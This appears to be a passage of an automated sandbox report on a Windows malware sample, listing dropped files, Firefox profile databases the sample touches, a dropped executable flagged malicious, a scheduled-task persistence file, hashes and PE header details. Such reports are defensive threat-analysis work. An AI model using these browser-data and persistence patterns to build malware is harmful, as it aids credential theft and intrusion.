Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 06:09:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.986022901320809
Encrypted:	false
SSDEEP:	48:8td9TlViAHWidAKZdA1vehDiZUkwqehny+R:8dXiwpy
MD5:	6BA40E5B7F49DAB8BD939B0ADE47871A
SHA1:	D8F365D0587400F83AF96683A173B84E151EED7C
SHA-256:	AA50295690D9CB03A140FE468754BB8FDB6A52D5BCC5CF37624A6E71446848A3
SHA-512:	AE0FF2D3FB0CA68976A24686A7696CBE33C506F472AC654F75BAF907C000E4E05613076B2BD92B5F2088A6D6C8F618A18096E052D8AE35CBC853A4EDB0F0F60C
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....`ms..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY$9...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 06:09:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.979382677041836
Encrypted:	false
SSDEEP:	48:8cd9TlViAHWidAKZdA1hehBiZUk1W1qehVy+C:8+Xiw91y
MD5:	6D35846B6D63A3BEB8A680306DFD4C80
SHA1:	B4E91693817B56FABAAB9608406CA9F517404E3D
SHA-256:	27BCDB518BC5CCA063614842015647C5BA4BF0579D7696F924952486EA6C8249
SHA-512:	3CF21C6172023FEE3FBBB57BCF935800C8B6C0721B5D15134B8105FBD78ADEB3C7587FE89AEFF0AA5ECDDE75ADB62EA35A6973088101E48E5F55EFF98656048B
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....5....;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY$9...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 06:09:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.987634452157682
Encrypted:	false
SSDEEP:	48:8Td9TlViAHWidAKZdA1duT+ehOuTbbiZUk5OjqehOuTb/y+yT+:8XXi+T/TbxWOvTb/y7T
MD5:	D0227FB3EF085BE17CA047FAD7607707
SHA1:	D32C632B147AF623C8F170799E1F424C04AEA57B
SHA-256:	0BF1994C87C5EDB53D925BCB8EC77DF2AF40BA923EB39B272B357F60F53FCBB9
SHA-512:	59757031250757192D7442B8C9157EE7BD222C38D81E21375F49E65ED04EF1D10D1BB6255433514857CAC43DA3B562028DBEC889E06059660B2396D79DF9C047
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....g..;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.ItY"9....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtY"9....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtY"9....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtY"9..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtY$9...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........V..~.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	modified
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.035822017202226504
Encrypted:	false
SSDEEP:	3:GtlstFFo/tXFglstFFo/tXFNlJ89//alEl:GtWtI1iWtI1HL89XuM
MD5:	6579949CEC5AFAFF843ABEB891A13FB5
SHA1:	26C3E1390BF662293CEB2515D57738369714B2C8
SHA-256:	0BD279A00C013C1A614FEEA6F38E6E3614B8EBD81A643C6C747CC0C8E2621AE5
SHA-512:	EC697700B319F3967DAE457B88729500744B655F15EB3761CB0EB5241487249A4A3AC03E47C75840F1E546E32F6CE0CF033F765ECB8A664EE5C6FB451610DEF1
Malicious:	true
Reputation:	unknown
Preview:	..-........................P....a.......)......-........................P....a.......)............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	32824
Entropy (8bit):	0.03993518821809553
Encrypted:	false
SSDEEP:	3:Ol10F72/C/ylNxkJKQ1lll8rEXsxdwhml8XW3R2:KCFC/CaBmKQ1lll8dMhm93w
MD5:	C06635B39A33F996AF483D71EA16011A
SHA1:	1E47CE718B050434F5B7B2ABB05E17742C00A26E
SHA-256:	4C19FF28BCBDC07875ADC37480C2759A6CF5EECB7E935709F89021CFE94D70BB
SHA-512:	DF4EB7212BA51950C5F49F6DF6BEF4922B4FD21D01DE3E2A8A57C5CDCDD14A567EBE749D9564B2F52C9F5BCEAF8AF983DF526F8B7A0F0E7E42B94076DCAB0CBD
Malicious:	true
Reputation:	unknown
Preview:	7....-...........a......[.d...N3.........a...........P................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513205502578509
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6jJ0aX+H6SEXK5kHWNBw8dFSl:TPeaJUapHEwu0
MD5:	EA687450475ACC29B1A992747575B756
SHA1:	A04CE3ED9585634CDE782FE3196449DB4C919271
SHA-256:	E16BCC8046D8A2D1DD18045702DE420B87EB5F7A25C9A54A9F7D2B7EAD411889
SHA-512:	6E053083FE8B8762CB4AF909492AC38102541726125596D9F479CC42C182D651A03C35D15E5D4A66CB9DCBC2B65867506FF5CACEC8A0759617905F2660560865
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	10018
Entropy (8bit):	5.513205502578509
Encrypted:	false
SSDEEP:	192:jnPOeRnHYbBp6jJ0aX+H6SEXK5kHWNBw8dFSl:TPeaJUapHEwu0
MD5:	EA687450475ACC29B1A992747575B756
SHA1:	A04CE3ED9585634CDE782FE3196449DB4C919271
SHA-256:	E16BCC8046D8A2D1DD18045702DE420B87EB5F7A25C9A54A9F7D2B7EAD411889
SHA-512:	6E053083FE8B8762CB4AF909492AC38102541726125596D9F479CC42C182D651A03C35D15E5D4A66CB9DCBC2B65867506FF5CACEC8A0759617905F2660560865
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsHCFCAAEBGC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1870336
Entropy (8bit):	7.9487256741759404
Encrypted:	false
SSDEEP:	49152:ZrCg9SAT0whlcdHeN7sM6Q1DrZzlYJ3WNAwjP:V5JTVsNeN7H1DYgCw
MD5:	4A97D2E0F102525CD3CA67C4AD404846
SHA1:	3BB2F79C955C1725335CC66497A0438A80F4E14F
SHA-256:	CF1C64D406F56C499088175E6FFF6092095F1E20CF366895011EC644FEE7AEAF
SHA-512:	F9EC5F151EC44A6FCB79AF5B05B0DCD95F7DC6AC818FC3FED92BE54EC5F9FBCCD7AB6B21528BEE8DE533ECB97843B21A85A3BDEC8C8A3C9B39C00FB304841F13
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................I...........@.......................... J.....r;....@.................................W...k.......H...................`.I...............................I..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..).........................@...lkitmsue.p...p0..n..................@...tmsbqfoz......I......d..............@....taggant.0....I.."...h..............@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsHCFCAAEBGC.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.3977462527562414
Encrypted:	false
SSDEEP:	6:UvVX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lBxl/Ect0:UpuQ1CGAFifXVBj/Ect0
MD5:	6C98CCD0D980D7C9CF11BEE19731B0EF
SHA1:	BD5BCC7EB4EE30474144A2B125386CF621F5E676
SHA-256:	FCC1A470DF1CCC460AFDB73AC4818809E25D8C20B5FD67A2A4C5AE8DDEFE2165
SHA-512:	3D89190DF0C02C4FD1D95847AB88FB2C4731C80A95F62C37051EC7CA3A542171D39F64FBA53A23E892795620967851C9126AD4A7E884C327A3A151F319761303
Malicious:	false
Reputation:	unknown
Preview:	......Ks...@..G.@g.zF.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944655530888553
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'800'704 bytes
MD5:	fbcbfc1412235ca533582801d3bf384a
SHA1:	057024127ed717976cd329ef4b441769e3cdb4a9
SHA256:	84b2e6cf11972bbf1185a1370463ef3869b3713159bf2f962855a22a1ec02d3a
SHA512:	281cf5d7e995e30c87cd40f6db04cfda3d7789b17802515ab3d680bc8e648ce787f82dd02d5a8720bcc821890b58ae84ae2204405ffe0d3d48db6b3c85792728
SSDEEP:	24576:uhl56JlSpDWm4xUsUhK0KnQBwEkydzLxgOjNEQ/FtK9Tk09mOmIt7fsJ1FNBTI2z:Gl59lW/kK0qQBNg4NE+OeW6IZw/o
TLSH:	3F8533AEDEE55203E44DE5B8EEE193E72760869090FFA25205D8243DFEDE7C68321D14
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa92000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F5BB07CBD3Ah
addps xmm3, dqword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	83de07e12081e2fd852687e50f69cbba	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	5f23b868aa32086088bf6adb27ff4770	False	0.583984375	data	4.594935129031665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a7000	0x200	6d562233c261df0f67e9d38ee296ea0d	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
